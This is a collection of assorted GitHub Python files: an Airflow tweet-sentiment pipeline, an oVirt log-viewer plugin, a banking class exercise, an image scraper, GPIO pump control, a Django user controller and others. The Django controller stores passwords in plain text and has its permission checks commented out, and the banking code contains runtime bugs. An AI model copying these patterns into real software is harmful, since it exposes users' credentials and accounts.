id_list[i], \"polarity score\": polarity, \"sentiment\": sentiment, \"subjectivity score\": subjectivity}\r\n text_data = {\"tweet_id\": id_list[i], 'tweet_content': text_list[i]}\r\n date_data = {\"tweet_id\": id_list[i], 'tweet_date': date_list[i]}\r\n\r\n sentiment_data_list.append(sentiment_data)\r\n text_data_list.append(text_data)\r\n date_data_list.append(date_data)\r\n\r\n\r\n # Storing the sentiment scores, tweet text and tweet dates in a dataframe\r\n sentiment_df = pd.DataFrame(sentiment_data_list)\r\n text_df = pd.DataFrame(text_data_list)\r\n date_df = pd.DataFrame(date_data_list)\r\n\r\n # Choose folder path to store the dataframes\r\n folder_path = 'insert-folder-path-here'\r\n\r\n # Save the DataFrame as a CSV file in the specified folder\r\n sentiment_df.to_csv(folder_path + '/sentiment_scores.csv', index=False)\r\n text_df.to_csv(folder_path + '/tweets.csv', index=False)\r\n date_df.to_csv(folder_path + '/dates.csv', index=False)\r\n\r\n# ---------------------------------------------------------------\r\n# Airflow Tasks\r\n\r\n# task1: calls the Twitter API and stores the tweets into MongoDB\r\ntask1 = PythonOperator(\r\n task_id = 'twit_mongo',\r\n python_callable=request_to_mongo,\r\n provide_context = True,\r\n dag=dag\r\n)\r\n\r\n# task2: extracts the data from the MongoDB and conducts sentiment analysis on the tweets\r\ntask2 = PythonOperator(\r\n task_id = 'sentimental_analysis',\r\n python_callable=sentimental,\r\n provide_context = True,\r\n dag=dag\r\n)\r\n\r\ntask2.set_upstream(task1)\r\n# ---------------------------------------------------------------\r\n","repo_name":"georgelopez7/Twitter-Data-ELT","sub_path":"twitter-ELT-airflow.py","file_name":"twitter-ELT-airflow.py","file_ext":"py","file_size_in_byte":7964,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"3213264872","text":"from ovirt.node import ui\nfrom ovirt.node.plugins import NodePlugin\nfrom ovirt.node.utils import process, system\n\n\"\"\"\nA plugin for a support page\n\"\"\"\n\n\nclass Plugin(NodePlugin):\n def __init__(self, application):\n # Register F8: Display this plugin when F( is pressed\n show_plugin = lambda: application.switch_to_plugin(self)\n application.ui.register_hotkey([\"f8\"], show_plugin)\n super(Plugin, self).__init__(application)\n\n def name(self):\n return _(\"Support\")\n\n def rank(self):\n return 999\n\n def has_ui(self):\n return False\n\n def ui_content(self):\n ws = [ui.Header(\"header[0]\", _(\"Support Info\")),\n ui.Label(\"support.info\", _(\"Select one of the logfiles below.\")),\n ui.Divider(\"divider[0]\"),\n ui.Table(\"support.logfile\", \"\", _(\"Available Logfiles\"),\n self.__debugfiles_to_offer()),\n ]\n\n page = ui.Page(\"page\", ws)\n page.buttons = []\n self.widgets.add(page)\n return page\n\n def model(self):\n return {}\n\n def validators(self):\n return {}\n\n def on_change(self, changes):\n pass\n\n def on_merge(self, changes):\n if changes.contains_any([\"support.logfile\"]):\n logfile = changes[\"support.logfile\"]\n cmds = {\"node\": \"cat /var/log/ovirt.log | less\",\n \"ui\": \"cat /var/log/ovirt-node.log | less\",\n \"messages\": \"cat /var/log/messages | less\",\n \"audit\": \"cat /var/log/audit/audit.log | less\",\n \"dmesg\": \"dmesg | less\",\n \"journal\": \"journalctl --all --catalog --full\"\n }\n\n cmd = cmds[logfile] if logfile in cmds else None\n\n if cmd:\n contents = process.check_output(cmd, shell=True,\n stderr=process.STDOUT)\n return ui.TextViewDialog(\"output.dialog\", _(\"Logfile\"),\n contents)\n\n def __debugfiles_to_offer(self):\n items = [(\"node\", \"/var/log/ovirt.log\"),\n (\"ui\", \"/var/log/ovirt-node.log\"),\n (\"dmesg\", \"dmesg\"),\n (\"audit\", \"/var/log/audit/audit.log\")]\n\n if system.has_systemd():\n items.append((\"journal\", \"journal (systemd)\"))\n else:\n items.append((\"messages\", \"/var/log/messages\"))\n\n return items\n","repo_name":"oVirt/ovirt-node","sub_path":"src/ovirt/node/setup/core/support_page.py","file_name":"support_page.py","file_ext":"py","file_size_in_byte":2467,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"32"} +{"seq_id":"40300518138","text":"\r\nfrom mimetypes import init\r\n\r\n\r\nclass Bank :\r\n bankID = -1\r\n allBanks = set([])\r\n def __init__(self,bankFullName,bankAbbrivation):\r\n self.bankFullName = bankFullName\r\n self.bankAbbrivation = bankAbbrivation\r\n bankID+=1\r\n self.bankID = bankID\r\n\r\n @staticmethod\r\n def findBank(bankAbbrivation):\r\n for i in Bank.allBanks:\r\n if i.bankAbbrivation == bankAbbrivation:\r\n return True,i\r\n return False\r\n\r\n @staticmethod\r\n def createNewBank(bankName,bankAbbrivation):\r\n newBank = Bank(bankName,bankAbbrivation)\r\n if(Bank.allBanks.add(newBank)==False):\r\n print(\"Bank already exits!!\")\r\n return False\r\n return True\r\n\r\nclass Account:\r\n accountNumber = 0\r\n def __init__(self,bank):\r\n self.accountNumber = Account.accountNumber\r\n self.bank = bank\r\n self.balance = 1000\r\n def isAccountExists(self,bankAbbrivation):\r\n return self.bank.bankAbbrivation == bankAbbrivation\r\n\r\n def displayAccountBalance(self):\r\n print(\"Account Balance is \"+self.balance)\r\n\r\n def isSufficientBalace(self,amount):\r\n return self.balance>=amount\r\n\r\n def updateAccountBalance(self,amount,operation):\r\n if operation==\"Add\":\r\n self.balance+=amount\r\n else:\r\n self.balance-=amount\r\n return\r\n\r\n @staticmethod\r\n def createNewAccount(bankAbbrivation):\r\n isBankExits,bankObj = Bank.findBank(bankAbbrivation)\r\n if not isBankExits:\r\n print(\"The given bank name doest not exits!!\")\r\n return False\r\n newAccount = Account(bankObj)\r\n return newAccount\r\n\r\n\r\nclass Customer:\r\n customerID = -1\r\n allCustomers = []\r\n def __init__(self,firstName,lastName,totalBalance,userName):\r\n customerID+=1\r\n self.customerID = Customer.customerID\r\n self.firstName = firstName\r\n self.lastName = lastName\r\n self.totalBalance = totalBalance\r\n self.accounts = []\r\n self.userName = userName\r\n \r\n @staticmethod\r\n def findCustomer(self,userName):\r\n for customer in Customer.allCustomers:\r\n if customer.userName == userName:\r\n return True,customer\r\n \r\n return False\r\n \r\n\r\n\r\n def findAccount(self,bankAbbrivation):\r\n for account in self.accounts:\r\n if account.bank.bankAbbrivation == bankAbbrivation:\r\n return True,account\r\n return False\r\n \r\n def createNewAccount(self,bankAbbrivation):\r\n isAccountExists,_ = self.findAccount(bankAbbrivation)\r\n if isAccountExists:\r\n print(\"account already exits in this bank!! \")\r\n return \r\n isBankExists,bankObj = Bank.findBank(bankAbbrivation)\r\n if isBankExists :\r\n return \r\n newAccount = Account.createNewAccount(bankAbbrivation)\r\n self.accounts.append(newAccount)\r\n return True,newAccount\r\n\r\n def deposit(self,bankAbbrivation,amount):\r\n isBankExists,bankObj = Bank.findBank(bankAbbrivation)\r\n if not isBankExists:\r\n print(\"Amount cannot be deposited as the bank does not exits\")\r\n return \r\n isAccountExits,account = self.findAccount(bankAbbrivation)\r\n if isAccountExits:\r\n account.updateAccountBalance(amount,\"Add\")\r\n print(\"Amount has been deposited in your accout successfully\")\r\n self.__updateTotalBalace()\r\n return True\r\n print(\"cannot deposit the amount as the account does not exits\")\r\n return False\r\n\r\n def Withdraw(self,amount,bankAbbrivation):\r\n isBankExists,bankObj = Bank.findBank(bankAbbrivation)\r\n if not isBankExists:\r\n print(\"Amount cannot be withdraw as the bank does not exits\")\r\n return \r\n isAccountExits,account = self.findAccount(bankAbbrivation)\r\n if isAccountExits:\r\n if account.isSufficientBalace(amount):\r\n account.updateAccountBalance(amount,\"subtract\")\r\n print(\"Amount has been withdrawn from your account successfully!!\")\r\n self.__updateTotalBalace()\r\n return True\r\n\r\n print(\"Insufficient account balance!\")\r\n return \r\n print(\"cannot withdraw the amount as the account does not exits\")\r\n return False\r\n \r\n def transferAmount(self,creditCustomerUserName,creditCustomerBankName,debitCustomerBankName,amount):\r\n if Customer.findCustomer(creditCustomerUserName) and Customer.findCustomer(debitCustomerBankName):\r\n customerObj = Customer.findCustomer(creditCustomerBankName)\r\n self.Withdraw(debitCustomerBankName,amount)\r\n customerObj.deposit(creditCustomerUserName,amount)\r\n return True\r\n print(\"cannot transfer the amount\")\r\n return False\r\n\r\n def selfTransfer(self,creditBankName,debitBankName,amount):\r\n if Bank.findBank(creditBankName) and Bank.findBank(debitBankName):\r\n self.Withdraw(debitBankName,amount)\r\n self.deposit(creditBankName,amount)\r\n return True\r\n print(\"cannot transfer the amount!\")\r\n return False\r\n\r\n def __updateTotalBalace(self):\r\n self.totalBalance = 0\r\n for account in self.accounts:\r\n self.totalBalance+=account.balance\r\n return self.totalBalance\r\n \r\n\r\n def displayBalance(self):\r\n print(self.firstName+\" your account balance is \"+self.totalBalance)\r\n for account in self.accounts:\r\n account.displayBalance()\r\n \r\n\r\n","repo_name":"Sahil8317/Forcepoint-Training-Assignments","sub_path":"BankingApp.py","file_name":"BankingApp.py","file_ext":"py","file_size_in_byte":5634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"22208067626","text":"from bs4 import *\nfrom pathlib import PurePath\nimport requests\nimport sys\nimport os\n\nclass bcolors:\n OK = \"\\033[92m\"\n WARNING = \"\\033[93m\"\n FAIL = \"\\033[91m\"\n RESET = \"\\033[0m\"\n\ndef get_links(url, url_links, dominio):\n try:\n response = requests.get(url)\n except:\n print(bcolors.FAIL + \"Error: invalid URL\" + bcolors.RESET)\n exit()\n soup = BeautifulSoup(response.text, 'html.parser')\n links = soup.findAll('a')\n for tag in links:\n cut = tag.get('href')\n if cut != None:\n if dominio in cut:\n url_links.append(cut)\n elif cut.startswith('/') == True:\n cut = \"https://\" + dominio + cut\n url_links.append(cut)\n return (url_links)\n \ndef get_images(url_links, dominio):\n url_images = []\n for link in url_links:\n try:\n response = requests.get(link)\n except:\n print(bcolors.FAIL + \"Error: invalid URsL \" + link +bcolors.RESET)\n exit()\n soup = BeautifulSoup(response.text, 'html.parser')\n images = soup.findAll('img')\n for tag in images:\n cut = tag.get('src')\n if cut != None and len(cut) > 0:\n if cut.endswith(\".png\") or cut.endswith(\".gif\") or cut.endswith(\".bmp\") or cut.endswith(\".jpg\" or cut.endswith(\".jpeg\")):\n if cut.startswith('//') == True:\n cut = cut[2:]\n if dominio in cut:\n if cut.startswith(\"https\") == False:\n cut = \"https://\" + cut\n url_images.append(cut)\n elif cut.startswith('/') and \".com\" != cut:\n cut = \"https://\" + dominio + cut\n url_images.append(cut)\n return url_images\n\ndef check(rec):\n opts = [opt for opt in sys.argv[1:] if opt.startswith(\"-\")]\n url_images = []\n url_links = []\n \n if (len(sys.argv) == 1):\n print(bcolors.FAIL + \"Error: please insert a URL\" + bcolors.RESET)\n exit()\n elif \"-r\" != opts:\n url = sys.argv[len(sys.argv) - 1]\n if url.endswith(\"/\") == False:\n url = url + '/'\n if url.startswith(\"http\") == False:\n url = \"https://\" + url\n\n dominio = url[url.index('/') + 2:-1]\n \n if rec != 0 and len(url_links) < int(rec):\n x = 0\n url_links = get_links(url, url_links, dominio)\n while len(url_links) < int(rec):\n url_links = get_links(url_links[x], url_links, dominio)\n x += x\n result = []\n for link in url_links:\n if link not in result:\n result.append(link)\n if len(result) < int(rec):\n print(bcolors.WARNING + \"Warning: has requested recursion \" + str(rec) + \" but only \" + str(len(result)) + \" urls with the supplied domain are valid\" + bcolors.RESET)\n url_links = result\n else:\n url_links.append(url)\n url_images = get_images(url_links, dominio)\n return url_images\n\ndef clean_folder(path, content):\n for file in content:\n os.remove(path + '/' + file)\n\ndef download_image(folder, url, name):\n path = os.getcwd() + '/'+ folder\n if os.path.exists(path) == False:\n os.mkdir(folder)\n name = folder + '/' + name\n f = open(name,'wb')\n try:\n response = requests.get(url)\n f.write(response.content)\n except:\n print(bcolors.WARNING + \"Invalid URL \", url + bcolors.RESET)\n return 0\n f.close()\n return 1\n\ndef main():\n opts = [opt for opt in sys.argv[1:]]\n if \"-p\" in opts:\n try:\n folder = opts[opts.index(\"-p\") + 1]\n except:\n print(bcolors.FAIL + \"Error: invalid folder\" + bcolors.RESET)\n exit()\n if folder.startswith(\"-\"):\n print(bcolors.FAIL + \"Error: invalid name for folder\" + bcolors.RESET)\n exit()\n else:\n folder = \"data\"\n\n if \"-l\" in opts:\n if \"-r\" not in opts:\n print(bcolors.FAIL + \"Error: \\\"-l\\\" specified but no recursivity \\\"-r\\\"\" + bcolors.RESET)\n exit()\n else:\n try:\n rec = opts[opts.index(\"-l\") + 1]\n except:\n print(bcolors.FAIL + \"Error: invalid argument for \\\"-l\\\"\" + bcolors.RESET)\n exit()\n if rec.isnumeric() == False:\n print(bcolors.FAIL + \"Error: invalid argument for \\\"-l\\\"\" + bcolors.RESET)\n exit()\n elif \"-r\" in opts:\n rec = 5\n else:\n rec = 0\n\n url_images = check(rec)\n if url_images == None:\n exit()\n else:\n x = 0\n path = os.getcwd() + '/' + folder\n if os.path.exists(path) == True:\n content = os.listdir(path)\n clean_folder(path, content)\n for image in url_images:\n extension = image[image.rfind('.'):len(image)]\n if \".jpeg\" in extension:\n extension = \".jpeg\"\n else:\n extension = extension[0:4]\n x += download_image(folder, url_images[x], \"image\" + str(x) + extension)\n if x == rec:\n break\n print(bcolors.OK + str(x) + bcolors.RESET + \" images downloaded successfully\")\n\nif __name__ == '__main__':\n main()","repo_name":"veaz/arachnida","sub_path":"spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":5389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"4860332946","text":"\"\"\"Exemplo de Pool nativo\"\"\"\n\nfrom multiprocessing import Pool\nfrom os import getpid\nfrom pprint import pprint\n\n\ndef soma_2(x):\n return x + 2, getpid()\n\n\nif __name__ == '__main__':\n\n workers = Pool(5)\n\n # Sync\n # result = workers.map(soma_2, range(100))\n # pprint(result)\n\n # Async\n result = workers.map_async(soma_2, range(100))\n result.wait()\n pprint(result.get())\n","repo_name":"joscelino/multiprocessamento_python","sub_path":"multi_processos/exemplos/app4.py","file_name":"app4.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"3022298988","text":"# File: wordChart.py\r\n# Kevin Nakashima\r\n# Takes a text file\r\n# Program will count the number of times each word occurs in file\r\n# Program will print out a histogram of words and frequencies\r\n#==============================================================================\r\n# RESOURCES\r\n# http://programminghistorian.org/lessons/counting-frequencies\r\n# http://moderndata.plot.ly/generate-html-reports-with-python-pandas-and-plotly/\r\n# https://docs.python.org/3/tutorial/datastructures.html#list-comprehensions\r\n# https://www.tutorialspoint.com/python/python_dictionary.htm\r\n# http://help.plot.ly/embed-graphs-in-websites/\r\n# IMPORTS\r\n\r\n\r\n# CLASS DECLARATIONS\r\nclass report():\r\n __slots__ = ['word','wordlist','fName','shortest','longtest','most','least']\r\n def __init__(self, fName):\r\n self.word = \"\"\r\n self.wordlist = {}\r\n self.fName = fName\r\n self.shortest = \"\"\r\n self.longest = \"\"\r\n self.most = \"\"\r\n self.least = \"\"\r\n \r\n def addWord(self):\r\n self.word = self.word.lower()\r\n if len(self.word) == 1:\r\n self.shortest = self.word\r\n if len(self.word) > len(self.longest):\r\n self.longest = self.word\r\n if self.word in self.wordlist:\r\n #if dictionary has word, increment frequency\r\n self.wordlist[self.word] = self.wordlist[self.word] + 1\r\n else:#if not in dictionary, create\r\n self.wordlist[self.word] = 1\r\n #reset word\r\n self.word = \"\"\r\n\r\n def mostLeast(self):\r\n self.most = max(self.wordlist, key=self.wordlist.get)\r\n self.least = min(self.wordlist, key=self.wordlist.get)\r\n\r\n \r\n def writeReport(self, f):\r\n self.mostLeast()\r\n outFile = open(f + \".html\", 'w')\r\n outFile.write('''\\n\r\n \\n\r\n \\n\r\n \\n''')\r\n outFile.write(self.fName + \"Analysis\")\r\n outFile.write('''\\n\r\n \\n\r\n \\n\r\n \\n\r\n \\n''')\r\n outFile.write(\"

    Longest Word: {}

    \".format(self.longest))\r\n outFile.write(\"

    Shortest Word: {}

    \".format(self.shortest))\r\n outFile.write(\"

    Word used most: {}

    \".format(self.most))\r\n outFile.write(\"

    Word used least: {}

    \".format(self.least))\r\n for keys, values in self.wordlist.items():\r\n line = \"

    {} : {}

    \".format(keys, values)\r\n outFile.write(line)\r\n outFile.write(\"\\n\\\r\n \")\r\n #close output File\r\n outFile.close()\r\n\r\ndef main():\r\n #variable declarations\r\n r = report(input(\"Enter the file name: \"))\r\n #open file to read\r\n with open(r.fName) as f:\r\n while True:\r\n #read one character at a time\r\n c = f.read(1) \r\n #if not alphanumeric, ignore\r\n if c.isalpha():\r\n r.word += c\r\n elif c == ' ' or c == '\\n':\r\n r.addWord()\r\n elif not c:\r\n r.addWord()\r\n break\r\n\r\n f = r.fName.split('.')\r\n r.writeReport(f[0])\r\n \r\nmain()\r\n","repo_name":"Sirly/practice_python_programs","sub_path":"wordChart.py","file_name":"wordChart.py","file_ext":"py","file_size_in_byte":3304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"75084273690","text":"import RPi.GPIO as GPIO\nimport time\n\nGPIO.setmode(GPIO.BCM)\nGPIO.setwarnings(False)\n\ndef digital_for_duration(pin, duration):\n if pin == 21: # If the chosen pin is for the Washing pump\n GPIO.setup(20, GPIO.OUT) # Set up the Valve & pump-out pin\n GPIO.output(20, GPIO.HIGH) # Open the Valve\n print(\"Valve (Pin 20) opened.\")\n \n elif pin == 23: # If the chosen pin is for the Sample water\n GPIO.setup(20, GPIO.OUT) # Set up the Valve & pump-out pin\n GPIO.output(20, GPIO.LOW) # Close the Valve\n print(\"Valve (Pin 20) closed.\")\n \n GPIO.setup(pin, GPIO.OUT)\n GPIO.output(pin, GPIO.HIGH)\n print(f\"Pin {pin} turned on for {duration} seconds.\")\n \n try:\n time.sleep(duration)\n except KeyboardInterrupt:\n print(f\"\\nInterrupted! Turning off pin {pin} immediately.\")\n \n GPIO.output(pin, GPIO.LOW)\n print(f\"Pin {pin} turned off.\")\n\ndef pwm_for_duration(pin, duty_cycle, duration):\n GPIO.setup(pin, GPIO.OUT)\n \n pwm = GPIO.PWM(pin, 100) # Frequency is hardcoded to 100Hz\n \n try:\n pwm.start(duty_cycle)\n print(f\"Started PWM on pin {pin} with 100Hz frequency and {duty_cycle}% duty cycle.\")\n print(f\"It will run for {duration} seconds or you can press Ctrl+C to exit early.\")\n time.sleep(duration)\n except KeyboardInterrupt:\n print(\"\\nExiting early due to user interrupt.\")\n finally:\n pwm.stop()\n print(f\"Stopped PWM on pin {pin}.\")\n\ndef main():\n try:\n while True:\n print(\"\\nMenu:\")\n print(\"1. Digital Output\")\n print(\"2. PWM Output\")\n print(\"3. Exit\")\n \n choice = input(\"Enter your choice: \")\n \n if choice == \"1\":\n print(\"\\nDigital Output Options:\")\n print(\"1. Sample water (Pin 23)\")\n print(\"2. Washing pump (Pin 21)\")\n print(\"3. Mixing pump (Pin 16)\")\n print(\"4. Valve (Pin 20)\")\n \n digital_choice = input(\"Enter your choice: \")\n if digital_choice == \"1\":\n pin = 23\n elif digital_choice == \"2\":\n pin = 21\n elif digital_choice == \"3\":\n pin = 16\n elif digital_choice == \"4\":\n pin = 20\n else:\n print(\"Invalid choice. Returning to main menu.\")\n continue\n\n duration = float(input(\"Enter duration in seconds: \"))\n digital_for_duration(pin, duration)\n \n elif choice == \"2\":\n print(\"\\nPWM Output Options:\")\n print(\"1. LED (Pin 12, max 40%)\")\n print(\"2. Dosing pump (Pin 13, max 40%)\")\n \n pwm_choice = input(\"Enter your choice: \")\n if pwm_choice == \"1\":\n pin = 12\n elif pwm_choice == \"2\":\n pin = 13\n else:\n print(\"Invalid choice. Returning to main menu.\")\n continue\n\n duty_cycle = float(input(\"Enter duty cycle (0-40): \"))\n if duty_cycle > 40:\n print(\"Duty cycle exceeds maximum limit. Setting to 40%.\")\n duty_cycle = 40\n\n duration = float(input(\"Enter duration in seconds: \"))\n pwm_for_duration(pin, duty_cycle, duration)\n \n elif choice == \"3\":\n print(\"Exiting program.\")\n break\n else:\n print(\"Invalid choice. Please try again.\")\n except KeyboardInterrupt:\n print(\"\\nProgram interrupted by user. Exiting.\")\n GPIO.cleanup()\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"timothymoniaga/raspi-ph","sub_path":"testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":3854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"10068552328","text":"import os\nimport re\nimport sys\nfrom packaging import version\nfrom subprocess import Popen, PIPE\nfrom poco.services.file_utils import FileUtils\nfrom poco.services.state import StateHolder\nfrom .console_logger import ColorPrint\nfrom datetime import *\n\n\nclass EnvironmentUtils:\n\n @staticmethod\n def get_variable(key, default=None):\n return os.environ.get(key, default)\n\n @staticmethod\n def set_variable(key, value):\n os.environ[key] = value\n\n @staticmethod\n def set_poco_uid_and_gid():\n if os.name == \"posix\":\n EnvironmentUtils.set_variable(\"POCO_UID\", str(os.getuid()))\n EnvironmentUtils.set_variable(\"POCO_GID\", str(os.getgid()))\n\n @staticmethod\n def check_docker():\n p = Popen(\"docker version -f {{.Server.Version}}\", stdout=PIPE, stderr=PIPE, shell=True)\n out, err = p.communicate()\n if not len(err) == 0 or len(out) == 0:\n ColorPrint.exit_after_print_messages(message='Docker not running.')\n if str(out).split(\".\")[0] < str(17):\n ColorPrint.exit_after_print_messages(message='Please upgrade Docker to version 17 or above')\n\n @staticmethod\n def check_kubernetes():\n EnvironmentUtils.check_base(command=\"kubectl version --short\", message_head=\"Kubernetes\")\n\n @staticmethod\n def check_helm():\n EnvironmentUtils.check_base(command=\"helm version -s --short\", message_head=\"Helm\")\n\n @staticmethod\n def check_base(command, message_head):\n p = Popen(command, stdout=PIPE, stderr=PIPE, shell=True)\n out, err = p.communicate()\n if not len(err) == 0 or len(out) == 0:\n ColorPrint.exit_after_print_messages(message=str(err).strip())\n ColorPrint.print_with_lvl(message=message_head + \"\\n \" + str(out).strip(), lvl=1)\n\n @staticmethod\n def check_version(current_version, is_beta_tester, is_force_check):\n if (EnvironmentUtils.need_check() or is_force_check):\n # check pip\n p = Popen(\"pip install poco==\", stdout=PIPE, stderr=PIPE, shell=True)\n out, err = p.communicate()\n if not len(err) == 0:\n newest_version = EnvironmentUtils.parse_version(str(err), is_beta_tester)\n else:\n # maybe installed from source\n return\n if version.parse(current_version) < version.parse(newest_version):\n ColorPrint.print_warning(\"New version of poco is available. \\n \"\n \"Please upgrade with: pip install poco==\" + newest_version)\n elif is_force_check:\n ColorPrint.print_warning(\"Poco is up to date\")\n\n @staticmethod\n def parse_version(pip_content, is_beta_tester):\n \"\"\"PIP response variations and expected versions:\n * '(from versions: 0.0.1,0.0.2)' - noDev: 0.0.2 isDev: 0.0.2\n * '(from versions: 0.0.1.dev1,0.0.2)' - noDev: 0.0.2 isDev: 0.0.2\n * '(from versions: 0.0.1,0.0.2.dev1)' - noDev: 0.0.1 isDev: 0.0.2.dev1\n\n not dev support : ^.*\\\\(from versions:.*(\\\\d+.\\\\d+.\\\\d+)[\\\\),].*$\n is dev support : ^.*\\\\(from versions:.*(\\\\d+.\\\\d+.\\\\d+(\\\\.dev\\\\d+)?)[\\\\),].*$\n \"\"\"\n version_expression = \"^.*\\\\(from versions:.*(\\\\d+.\\\\d+.\\\\d+)[\\\\),].*$\"\n if is_beta_tester:\n version_expression = \"^.*\\\\(from versions:.*(\\\\d+.\\\\d+.\\\\d+(\\\\.dev\\\\d+)?)[\\\\),].*$\"\n matches = re.findall(version_expression, pip_content)\n\n pre_ver = matches[0] if len(matches) > 0 else \"0.0.0\"\n return pre_ver[0] if type(pre_ver) is tuple else pre_ver\n\n @staticmethod\n def decode(text_string):\n if sys.version_info[0] == 3:\n return text_string.decode(\"utf-8\")\n return text_string\n\n @staticmethod\n def need_check():\n directory = StateHolder.home_dir\n filename = \"latest_update_check_date\"\n latest_check_date = FileUtils.get_file_content(directory, filename)\n today = str(date.today())\n if (latest_check_date < today):\n FileUtils.write_to_file(directory, filename, today)\n return True\n return False\n","repo_name":"shiwaforce/poco","sub_path":"poco/services/environment_utils.py","file_name":"environment_utils.py","file_ext":"py","file_size_in_byte":4122,"program_lang":"python","lang":"en","doc_type":"code","stars":97,"dataset":"github-code","pt":"32"} +{"seq_id":"16157232832","text":"from django.contrib.auth.models import User\nfrom ..serializers import UsuarioSerializer\nfrom ..models import Puesto, Usuario, Rol, EstatusUsuario, Idioma\n\nclass ControllerUsuario:\n def crearUsuario(request):\n datosUsuario = request.data\n print(request.data)\n print(request)\n try:\n #usuarioRegistra = Usuario.objects.get(p_nombre=\"administrador\") \n rol = Rol.objects.get(id_rol=datosUsuario['rol'])\n puesto = Puesto.objects.get(id_puesto=datosUsuario['puesto'])\n idioma = Idioma.objects.get(id_idioma=datosUsuario['idioma'])\n estatus = EstatusUsuario.objects.get(id_estatus=datosUsuario['estatus'])\n username = datosUsuario['username']\n \n # if usuarioRegistra.rol.scope.id_scope >= rol.scope.id_scope:\n # return {\"Error\":\"No cuentas con los privilegios para registrar al usuario\"}\n\n # if usuarioRegistra.rol.tipo_rol.id_tipo_rol >= rol.tipo_rol.id_tipo_rol:\n # return {\"Error\":\"No cuentas con los privilegios para registrar al usuario\"}\n\n usuario_duplicado = Usuario.objects.filter(username=username)\n if usuario_duplicado.exists():\n return {\"Error\":\"El username ya existe en la base de datos\"}\n \n \n UsuarioNuevo = Usuario.objects.create(\n username =username,\n p_nombre = datosUsuario['p_nombre'],\n p_apellido = datosUsuario['p_apellido'],\n s_apellido= datosUsuario['s_apellido'],\n email= datosUsuario['email'],\n telefono = datosUsuario['telefono'], \n password = datosUsuario['password'],\n es_activo = datosUsuario['es_activo'],\n rol = rol,\n puesto = puesto,\n idioma = idioma,\n estatus = estatus,\n )\n\n userNuevo = User.objects.create(\n username = username,\n email = datosUsuario['email'],\n password = datosUsuario['password'],\n )\n \n except Exception:\n return {\"estatus\":\"Error\"}\n\n return {\"estatus\":\"Ok\", 'nuevo_usuario': UsuarioNuevo.username}\n \n def listarUsuario(id_usuario=None):\n if id_usuario:\n try:\n queryset = Usuario.objects.get(id_usuario=id_usuario)\n except Usuario.DoesNotExist:\n return ({'result': 'No se encontró el usuario deseado'})\n serializer = UsuarioSerializer(queryset)\n return serializer.data\n else:\n queryset = Usuario.objects.all()\n serializer = UsuarioSerializer(queryset, many=True)\n return serializer.data\n\n def verPerfil(p_nombre=None):\n if p_nombre:\n try:\n queryset = Usuario.objects.get(p_nombre=p_nombre)\n except Usuario.DoesNotExist:\n return ({'result': 'No se encontró el usuario deseado'})\n serializer = UsuarioSerializer(queryset)\n return serializer.data\n else:\n return ({'result': 'Ingrese el nombre de usuario'})\n\n\n def modificarUsuario(request,id_usuario=None):\n if id_usuario:\n datosUsuario = request.data\n try:\n usuarioModificar = Usuario.objects.get(id_usuario=id_usuario)\n except Usuario.DoesNotExist:\n return ({'result': 'No se encontró el usuario deseado'})\n try:\n #usuarioRegistra = Usuario.objects.get(p_nombre=\"administrador\") \n rol = Rol.objects.get(id_rol=datosUsuario['rol'])\n puesto = Puesto.objects.get(id_puesto=datosUsuario['puesto'])\n idioma = Idioma.objects.get(id_idioma=datosUsuario['idioma'])\n estatus = EstatusUsuario.objects.get(id_estatus=datosUsuario['estatus'])\n username = datosUsuario['username']\n \n # if usuarioRegistra.rol.scope.id_scope >= rol.scope.id_scope:\n # return {\"Error\":\"No cuentas con los privilegios para registrar al usuario\"}\n\n # if usuarioRegistra.rol.tipo_rol.id_tipo_rol >= rol.tipo_rol.id_tipo_rol:\n # return {\"Error\":\"No cuentas con los privilegios para registrar al usuario\"}\n\n usuario_duplicado = Usuario.objects.filter(username=username).exclude(id_usuario=id_usuario)\n\n if usuario_duplicado.exists():\n return {\"Error\":\"El username ya existe en la base de datos\"}\n \n usuarioModificar.username = username\n usuarioModificar.p_nombre = datosUsuario['p_nombre']\n usuarioModificar.p_apellido = datosUsuario['p_apellido']\n usuarioModificar.s_apellido= datosUsuario['s_apellido']\n usuarioModificar.email= datosUsuario['email']\n usuarioModificar.telefono = datosUsuario['telefono'] \n usuarioModificar.password = datosUsuario['password']\n usuarioModificar.es_activo = datosUsuario['es_activo']\n usuarioModificar.rol = rol\n usuarioModificar.puesto = puesto\n usuarioModificar.idioma = idioma\n usuarioModificar.estatus = estatus\n \n usuarioModificar.save()\n \n except Exception:\n return {\"estatus\":\"Error\"}\n\n return {\"estatus\":\"Ok\", 'Usuario_modificado': usuarioModificar.username}\n else: \n return {\"result\":\"Ingrese el Id del usuario que desea modificar\"}","repo_name":"raquelnany/ACTIVO_DJANGO_DOCKER_PROGRES","sub_path":"app/core/controller/ControllerUsuario.py","file_name":"ControllerUsuario.py","file_ext":"py","file_size_in_byte":5705,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"21785016887","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on 29/06/18\n\n@author: HarryS\n\"\"\"\n\nfrom scanning_functions import *\n\n\ndef run_scan(param_dict, args):\n \"\"\"\n Given points defined in param_dict run create run point directories\n and populate with Herwig .in file and params.dat file.\n\n Parameters\n ----------\n\n param_dict: dict\n Dictionary with parameter names as keys each containing another\n dictionary with keys 'range' and 'values'.\n\n args: argparse.Namespace object\n Argparse object with attributes containing command line options.\n\n Returns\n -------\n\n None\n\n \"\"\"\n\n # Read in run card template files\n template = read_template_file(args.template_file)\n\n make_directory(args.out_dir)\n for run_point in range(args.num_points):\n # Run point directories are inside the output directory and hold\n # the necessary files to run Herwig with the param_dict associated\n # with that point\n run_point_path = make_run_point_directory(run_point, 